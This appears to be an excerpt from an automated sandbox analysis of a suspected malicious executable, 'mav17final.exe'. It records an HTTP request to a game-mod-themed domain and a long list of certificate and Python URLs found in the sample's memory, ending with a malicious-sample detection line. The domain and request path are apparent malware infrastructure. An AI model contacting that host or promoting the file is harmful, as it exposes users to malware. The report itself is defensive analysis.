HTTP traffic detected: GET /CSHQRtZu/standingcpu HTTP/1.1Accept: */*Connection: closeHost: gta5modmenufree.comUser-Agent: cpp-httplib/0.12.6

Source: global traffic

DNS traffic detected: DNS query: gta5modmenufree.com

Source: mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: mav17final.exe, 00000002.00000003.1996191490.0000018717925000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2063485010.00000187176C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://goo.gl/zeJZl
Source: mav17final.exe, 00000002.00000002.2066729753.0000018718BE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://mail.python.org/pipermail/python-dev/2012-June/120787.html
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: mav17final.exe, 00000002.00000003.1995217340.00000187178BB000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2066729753.0000018718BE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985418927.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986923554.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984841967.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1987455616.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984475482.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1984651220.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1986200880.000001F87EF8E000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000000.00000003.1988327317.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: mav17final.exe, 00000002.00000003.1995336796.000001871785B000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995217340.00000187178BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: mav17final.exe, 00000002.00000003.1995217340.00000187178BB000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2066729753.0000018718C38000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: mav17final.exe, 00000002.00000003.2041722275.0000018717654000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046833551.00000187176AB000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2045701458.0000018717883000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2033297099.0000018717654000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046317483.00000187176AA000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2052090144.00000187176AC000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2064361091.0000018717883000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2052889217.00000187176B2000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2050639413.0000018717883000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: mav17final.exe, 00000002.00000003.2046884562.0000018715958000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1992798977.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046367139.0000018715944000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2062065450.000001871595F000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2054589272.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1991499161.000001871596A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2059550410.000001871595C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: mav17final.exe, 00000002.00000003.1996176454.0000018717946000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995683640.00000187178CF000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995683640.0000018717935000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2063485010.00000187176C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/giampaolo/psutil/issues/875.
Source: mav17final.exe, 00000002.00000002.2062169744.0000018717208000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: mav17final.exe, 00000002.00000003.2059550410.000001871595C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: mav17final.exe, 00000002.00000003.2046884562.0000018715958000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1992798977.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046367139.0000018715944000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2062065450.000001871595F000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2054589272.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1991499161.000001871596A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2059550410.000001871595C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: mav17final.exe, 00000002.00000003.2046884562.0000018715958000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1992798977.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2046367139.0000018715944000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2062065450.000001871595F000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2054589272.000001871595A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1991499161.000001871596A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2059550410.000001871595C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: mav17final.exe, 00000002.00000002.2066729753.0000018718CBC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: mav17final.exe, 00000002.00000002.2068496795.00007FF8A8CEB000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: mav17final.exe, 00000002.00000003.1996176454.0000018717946000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995683640.00000187178CF000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1995683640.0000018717935000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2063485010.00000187176C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/4457745#4457745
Source: mav17final.exe, 00000000.00000003.1987062417.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: mav17final.exe, 00000002.00000002.2062169744.0000018717180000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.1992629255.000001871762E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: mav17final.exe, 00000002.00000002.2069042978.00007FF8A8D88000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

System Summary

Malicious sample detected (through community Yara rule)

